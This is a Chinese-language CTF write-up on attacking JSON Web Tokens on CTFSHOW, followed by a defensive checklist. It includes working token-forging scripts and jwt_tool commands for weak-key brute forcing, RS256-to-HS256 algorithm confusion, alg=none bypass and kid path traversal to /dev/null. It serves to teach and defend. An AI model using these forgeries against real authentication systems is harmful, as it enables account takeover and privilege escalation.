1. 先说清楚:CTF里的JWT到底在考什么
我在CTFSHOW刷Web题的时候,发现一个很有意思的现象:凡是跟登录、认证、会话相关的题目,十道里有八道会跟JWT挂钩。很多新手一看题目描述里写着"JWT"就直接发怵,觉得这是什么高深莫测的密码学机制。实际上,CTF里的JWT题,考的根本不是密码学知识,而是你能不能发现一套认证体系在落地实现时犯下的低级错误。
JSON Web Token,说人话就是一套"服务器发给浏览器的通行证"。你登录成功之后,服务器不给你存session,而是直接给你发一张写好了身份信息的通行证,你后续每次请求都把这玩意儿带上,服务器验一下签名就知道你是谁了。听起来挺合理对吧?问题是,这张通行证的设计本身有个特点——它是自包含的,也就是说,身份信息直接写在token里,任何人都能读得到,只不过没有合法签名的人改不了。
这个特性放在生产环境里,配合各种不严谨的实现,就变成了CTF出题人最喜欢的素材库。我在CTFSHOW的JWT系列里基本上把这几类考法见了个遍:弱密钥爆破、算法混淆、none算法绕过、kid参数注入、敏感信息泄露。下面我把每一类的原理、题目特征和实战解法拆开讲清楚,你照着这套思路去刷,基本能覆盖九成以上的JWT题目。
2. 拿到JWT题的第一步:先学会看一张token上写了什么
2.1 三段式结构的读法
JWT长成什么样?你随便拿一个,它一定是三串用点号分隔的乱码,大概是这种感觉:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6InVzZXIiLCJleHAiOjE3MzAwMDAwMDB9.sQ2WTH4Y1VJ0vXyKq5X8mN7FkVcTjLH7G2jXsQnPvGg三段的含义分别是:header(头部)、payload(负载)、signature(签名)。CTF里第一步永远是解码,不是爆破。把前两段扔进Base64解码,你会看到类似这样的东西:
// header {"alg":"HS256","typ":"JWT"} // payload {"username":"admin","role":"user","exp":1730000000}header里最关键的是alg字段,它声明了签名算法;payload里就是身份信息,常见的有用户名、角色、过期时间、邮箱、用户ID之类的。注意,这两段是明文编码,不是加密,任何拿到token的人都能看内容。所以我在CTFSHOW上遇到过不止一道题,flag就直接躺在payload里。那种题最没技术含量,但恰恰说明很多初学者连解码这一步都没做。
2.2 签名到底怎么算的
第三段签名不是随便长的,它是对base64(header) + "." + base64(payload)这两段内容做了一次哈希运算后得到的。不同算法算出来的东西不一样:
- HS256:用同一个密钥进行HMAC-SHA256运算。密钥就是一个字符串,服务器和客户端都。但实际场景里,服务器自己拿着密钥,客户端只负责带着token来回跑。
- RS256:用私钥签名、公钥验签的非对称算法。服务器持有私钥,任何人拿到公钥都可以验证token真伪,但只有服务器能签发。
HS256和RS256的区别,在CTF里直接决定了攻击路径。HS256是"一把钥匙走天下",如果这把钥匙太弱(比如短密码、常见单词),你就可以离线暴力破解;RS256是"私钥签名公钥验证",看起来很安全,但如果你能骗服务器改用HS256去验签一串本来用RS256签发的token,那就出大事了。
这里我建议你记住一个判断技巧:凡是题目里只给你一个token、不给公钥的,大概率是HS256弱密钥爆破;凡是题目里有单独的publickey文件下载的,多半是算法混淆攻击。CTFSHOW上好几道题都是这个套路。
3. 从CTFSHOW实战里拆出来的四类攻击手法
3.1 第一类:弱密钥爆破,NSA都拦不住你
先说最常见的一类。题目给你一个已登录用户的token,怎么拿管理员权限?看一眼header里的alg是HS256,然后直接上字典爆破密钥。
爆破的原理很简单:HS256是对header.payload用密钥做了HMAC,如果密钥在字典里,你就可以用字典里的每个词重新算一遍签名,跟token里的第三段比对。一致就是猜中了。
我在CTFSHOW刷的一道题,header长这样:
{"alg":"HS256","typ":"JWT"}payload里用户名是user,目标肯定要改成admin。做法分两步走:
第一步,爆破密钥:
hashcat -m 16500 jwt.txt dict.txt-m 16500就是JWT的HS256模式。如果机器上没装hashcat,用Python脚本也行,核心逻辑就是逐个尝试字典里的词,计算HMAC比对:
import hmac import hashlib import base64 def b64url_decode(data): padding = '=' * (4 - len(data) % 4) return base64.urlsafe_b64decode(data + padding) token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.signature" header_payload = token.rsplit('.', 1)[0] with open('dict.txt', 'r') as f: for line in f: key = line.strip() sign = base64.urlsafe_b64encode( hmac.new(key.encode(), header_payload.encode(), hashlib.sha256).digest() ).rstrip('=') if sign == token.rsplit('.', 1)[1]: print(f"密钥找到了: {key}")第二步,既然密钥在手,直接把payload里的username改成admin,重新签一个:
import jwt token = jwt.encode( {"username": "admin"}, key, # 爆破得到的密钥 algorithm="HS256" ) print(token)然后拿新token去请求管理员接口拿flag。整个过程思路很简单,难的是密钥字典够不够好。CTF里常见的弱密钥就那些:secret、admin、123456、password、qwerty、test、key,再不行就上rockyou.txt。出题人不可能给个高强度随机密钥,否则题就没法做了。
3.2 第二类:算法混淆攻击,把RS256的token塞进HS256的验签流程里
这类题在CTFSHOW的JWT专题里几乎是必出现的,难度比弱密钥爆破高一档,因为它考的是对JWT标准实现缺陷的理解。
场景是这样的:服务器公开了一个公钥文件(比如publickey.pem),正常签发用RS256。但服务器在验签的时候,没有校验token头里的alg字段跟预期是否一致,而是直接信任了token自己声明的算法。
攻击流程:
- 拿到自己账号的合法token,解码出header和payload。
- 把header里的
alg从RS256改成HS256。 - 用拿到的公钥内容作为HMAC的密钥,对
header.payload重新签名。 - 提交这个token,服务器一看
alg声明的是HS256,就真的用公钥字符串当密钥去验签了。
为什么能成功?因为RS256的公钥是公开的。如果是RS256,你拿公钥只能验签、不能伪造;但你骗服务器把算法降级成HS256之后,公钥就变成了对称密钥。同一个字符串,本来只能用来"验证",现在可以用来"伪造"。
我当时在CTFSHOW上遇到这道题,服务器返回500,看到publickey.pem下载链接的那一刻基本就锁定了。实现脚本大概长这样:
import jwt import hmac import hashlib import base64 public_key = open('publickey.pem', 'rb').read() # 原始token original_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIifQ.signature" header_payload = original_token.rsplit('.', 1)[0] # 构造新token,alg改成HS256,payload改admin header = base64.urlsafe_b64encode( b'{"alg":"HS256","typ":"JWT"}' ).rstrip('=') payload = base64.urlsafe_b64encode( b'{"username":"admin"}' ).rstrip('=') signing_input = header + b'.' + payload signature = base64.urlsafe_b64encode( hmac.new(public_key, signing_input, hashlib.sha256).digest() ).rstrip('=') forged_token = signing_input.decode() + '.' + signature.decode() print(forged_token)这里有个特别值得注意的细节:用公钥字符串当HMAC密钥时,是直接用的公钥原始内容,不是公钥文件路径。很多新手在写脚本的时候把路径传进去了,导致签名对不上,调试半天。用Python的jwt库时,jwt.encode(payload, public_key, algorithm='HS256')直接传公钥内容就能正确生成。
3.3 第三类:none算法绕过,啥钥匙都不用
这是一个更古老也更搞笑的漏洞。早期一些JWT库在实现的时候,如果header里的alg是none,就跳过签名校验。等于说,你把alg改成none,再随便删掉签名部分,服务器就信了。
为什么会有这种设计?因为JWT标准里允许用none来表示"无签名"的场景(比如内部服务间调用,反正内网可信)。但问题在于,很多库对alg的解析太宽松,你传一个None、NONE、nOnE或者none前面加个空格,有些解析器就会当成none来处理,直接跳过验签。
攻击payload如下:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.注意最后有一个点,然后是空的签名段。有些工具会自动生成这种token,比如jwt_tool就有-a none参数。
CTFSHOW上有些题考的就是这个。怎么判断?你先把token解出来看alg,如果是HS256或者RS256,先试着把它改成none,payload改成管理员,签名删掉,直接提交。如果服务器返回的响应不再是401或者403,而是正常的业务响应,那就成了。
不过说句实在话,这类题目在最近的CTF里越来越少,因为主流JWT库基本都堵住了这个洞。但如果你在CTFSHOW的入门级题目里碰到,别觉得奇怪——这个平台本来就是从最基础的漏洞开始设计的,目的是让你把每个攻击面都走一遍。
3.4 第四类:header参数注入,kid、jku、x5u们的故事
这一类在CTF里属于进阶考法,CTFSHOW的JWT系列里也有涉及。JWT的header里除了alg和typ,还允许一些标准参数,比如:
kid:Key ID,告诉服务器用哪把密钥来验签。jku:JWK Set URL,告诉服务器去哪里取验签密钥。x5u:X.509证书URL,告诉服务器去哪下载证书。iss:签发者,某些库会用它去查对应的密钥。
这些参数的设计初衷是"方便密钥管理",但也给攻击者留了口子。最常见的是kid注入:
场景:服务器校验kid对应的值,然后从文件系统读取该路径的内容作为密钥。比如伪代码:
key = open(header['kid'], 'r').read()如果kid是/etc/passwd,服务器就会把/etc/passwd的内容当成密钥来验签。当然大部分情况你没法预测密钥内容,但你可以让kid指向一个你自己可控的文件,比如:
kid指向一个远程URL(如果服务器支持http://协议)。kid设置成../../dev/null,让服务器用空字符串作为密钥。
实操技巧:如果kid注入可行,直接把密钥置空往往是最省事的。/dev/null的内容就是空字符串,服务器读出来是'',然后你用空字符串做HMAC签名,就伪造成功了。Python里就是:
import jwt token = jwt.encode({"username": "admin"}, "", algorithm="HS256", headers={"kid": "../../../dev/null"})不过这一招能不能成,取决于服务器拼接路径的方式。比如kid的值直接作为文件路径拼接在/keys/后面,那你得构造../../dev/null去穿越到根目录。
jku注入跟kid的思路类似,区别在于它是让服务器去一个URL加载JSON格式的密钥集合(JWKS)。如果你能控制这个URL,直接放到自己的服务器上,托管一个你自己生成的公钥,然后拿对应的私钥签一个token,服务器加载了你的公钥后就会信任你的签名。
在CTFSHOW上怎么判断是这类题:抓包看token的header,发现里面有kid、jku、x5u字段,或者服务器返回的报错信息里出现了key、file、path、url等字样,就往注入方向想。
4. 实战复现:我在CTFSHOW刷JWT题的完整步骤
4.1 前置准备:需要哪些工具
工具不在多,顺手就行。我刷CTFSHOW JWT系列时常用的三件套:
- jwt_tool:专门用来打JWT的瑞士军刀,支持弱密钥爆破、算法混淆、none绕过、kid注入、jku注入,一条命令能完成大半操作。
- Python + PyJWT:手工构造token、写脚本时候用,灵活度最高。
- Burp Suite:抓包改包发请求,改header、替换token、看响应,必备。
4.2 一轮题目的完整解题链路
我在CTFSHOW上随便挑一道JWT题,按照以下顺序完整走一遍,这套流程可以复用到绝大多数题目上:
第一步:抓包看token长什么样
登录一次拿到cookie或者Authorization头里的token,先扔到 jwt.io 或者本地解码器里解一下,看header和payload的字段。重点关注alg、kid、username、role、admin这些值。
第二步:判断题目类型
解码之后做分类判断。我的判断顺序是:
| 观察项 | 可能攻击方式 |
|---|---|
alg为HS256,且无公钥下载 | 弱密钥爆破 |
alg为RS256,且提供公钥文件 | 算法混淆攻击 |
alg可改成none且服务端信任 | none算法绕过 |
| header里有kid/jku/x5u | 参数注入类攻击 |
| payload里有敏感字段 | 直接解码读数据 |
第三步:按判断执行攻击
如果是弱密钥爆破,直接上jwt_tool:
python jwt_tool.py <token> -C -d dict.txt-C是爆破模式,-d指定字典。爆破成功后会告诉你密钥,然后自动给你生成一个篡改后的token。
如果是算法混淆,你先下载公钥:
wget http://target.com/publickey.pem然后用jwt_tool的-S hs256 -k publickey.pem参数把算法降级:
python jwt_tool.py <token> -S hs256 -k publickey.pem第四步:提交伪造token验证
拿到新token替换掉原本的请求,看响应。如果页面上出现了管理员的界面,或者接口返回了flag,说明成功。如果还是401,就看响应体里有没有报错信息,报错往往会泄露后端使用的JWT库和版本,再去搜对应的绕过姿势。
4.3 我在实操中踩过的坑
第一个坑:Base64 URL编码补位问题。JWT用的是URL安全的Base64编码,+和/分别用-和_替代,而且通常不带=填充。在写脚本的时候Python的base64.urlsafe_b64encode会自带=,你要rstrip('=')去掉。不然后面的signature对不上。
第二个坑:字典选不好,爆破直接死循环。爆破HS256密钥的时候,如果题目的密钥是个随机长字符串,你的字典再大也是白搭。CTF里的弱密钥基本上就是那十几个常见的词,先试这些,再上rockyou。我在CTFSHOW上遇到的题,密钥最多的就是secret和key。
第三个坑:改了payload忘了保证原有字段格式。比如payload原本是{"username":"user", "role":"user", "exp":1234567},你只改username不改role,或者把exp删了,服务端校验的时候可能因为缺某个必填字段直接拒绝。最稳妥的办法是在原有payload基础上只改需要的字段,别整个替换。
5. 怎么防:出题人视角下的JWT安全设计
做题做多了,其实能反过来总结出一套防御清单。CTF里的每一个漏洞,对应的都是生产环境中的真实疏漏。你在CTFSHOW上练的这些攻击手法,换到真实渗透测试里,一样能打。下面几个防御要点,我在刷完JWT系列之后深有体会。
5.1 密钥管理是第一道防线
HS256的弱密钥爆破之所以能成,本质是用了强度不够的密钥。生产环境里HS256的密钥至少要有256位熵,换算过来是一个32字节的随机字符串,而且不能硬编码在代码里,更不能不进代码仓库。我在CTF里见过最离谱的,把密钥写在config.js里然后公开在GitHub上的。真实渗透测试里,很多人就是靠搜代码仓库找到密钥打进去的。
推荐的做法是用环境变量或者专门的密钥管理服务(KMS)来存,定期轮换。如果系统已经有非对称密钥的基础设施,优先用RS256/ES256,私钥永远不离开服务器。
5.2 算法白名单和校验必须写死
算法混淆攻击的根源,是服务端盲目信任token头部声明的alg字段。防御方案其实非常简单:在验签代码里硬编码允许的算法列表,不允许就拒绝。比如PyJWT里:
jwt.decode(token, public_key, algorithms=["RS256"])注意,这里algorithms参数必须是明确的["RS256"],不能传algorithms=None或者空列表,更不能使用jwt.algorithms.get_default_algorithms()这种把HS256也包含进去的配置。
kid、jku这些参数也一样,要么不依赖外部输入,要么加白名单校验。kid的值应该是一个索引,去查后端配置里的密钥映射,而不是直接拼接到文件路径上。
5.3 敏感信息永远不要写进payload
前面说了,payload是明文,不是加密。很多开发者以为JWT是加密的,把手机号、身份证号、内部ID直接丢进去。CTF里有些题离谱到什么程度?FLAG就在payload里,连攻击都省了。
生产环境下,如果你只是想保持登录态,payload里存个用户ID就够了,其他信息需要的时候再去数据库查。如果非要存敏感信息,至少要用JWE(JSON Web Encryption)做加密,而不仅仅是JWS签名。
5.4 过期时间不是装饰品
我看CTFSHOW有些题的token里根本没有exp字段,或者有但服务器不校验。真实场景里,token过期是一个很重要的安全边界,没有过期时间的token一旦泄露,等于永久的钥匙。
另外提一句refresh token,这是大家经常会搜的一个词。JWT实现token续签的正确姿势是:短期access token + 长期refresh token,access token过期后用refresh token换取新的access token,而不是让access token无限期有效。CTF里一般不考刷新流程,但你在对接真实业务的时候一定会用到。
5.5 日志别把token全量打出来
最后提一个很多人忽略的点。JWT里的payload是敏感的,如果服务端日志里把整个token原样打印,任何能看到日志的人都能解码读到用户信息。那些有权限访问日志平台的内部员工,等于是免费看所有用户的身份信息。我在刷题的过程中做过一次复盘:如果我是平台的运维,我第一件事就是去检查日志里有没有露出token。这个习惯,做Web的都建议养成。
6. 赛后再深入一步:JWT漏洞线上发展的几个方向
刷完CTFSHOW的JWT题,你其实已经把整个JWT攻击面摸了一遍。但如果想进一步深入,还有几个方向值得研究。
方向一:CTF题型里不常考但真实的攻击链。比如JWT配合OAuth2.0的state参数绕过、open redirect配合jku注入、JWT的c-l换行注入(在header里注入换行符伪造多个header字段)。我在CTFSHOW上没怎么见过,但实际渗透测试里遇到过类似场景。
方向二:服务端状态与JWT的混合使用。现在很多业务不是纯JWT,而是JWT + Session + Cookie混着用。比如token放在cookie里但走session存储,或者JWT里存了session ID。这种混搭往往会产生一些出人意料的边界情况,值得研究。
方向三:JWT库版本的CVE利用。JWT各种语言实现的历史漏洞非常多,比如CVE-2015-9235(alg混淆)、CVE-2016-10555(RS256/HS256算法混淆)、CVE-2018-0114(node-jose的key注入)等。去翻一翻这些CVE的公告和利用代码,你会对"看似安全的标准实现为什么能被绕过"有更深刻的理解。
对这些感兴趣的,直接去GitHub搜索各大JWT库的issue和commit记录,比看任何总结文章都管用。我在刷CTFSHOW之后就是这么干的——把每个漏洞对应的修复commit翻出来看,搞清楚修了哪里、为什么这么修,才真正理解了这个漏洞。
话说回来,CTF刷题也好,研究CVE也好,最终的目的都是培养一种肌肉记忆——看到一个token、一个认证接口,脑子里能自动浮现出"我能怎么打它"。这种反应速度是看多少篇博客都换不来的,只能靠一道道题喂出来。CTFSHOW的JWT系列是个不错的训练场,从入门到进阶的梯度设置得相当平滑,你按我上面梳理的这条路线去刷,每一个关卡打通的瞬间,那种"原来如此"的感觉,就是这行最上头的时刻。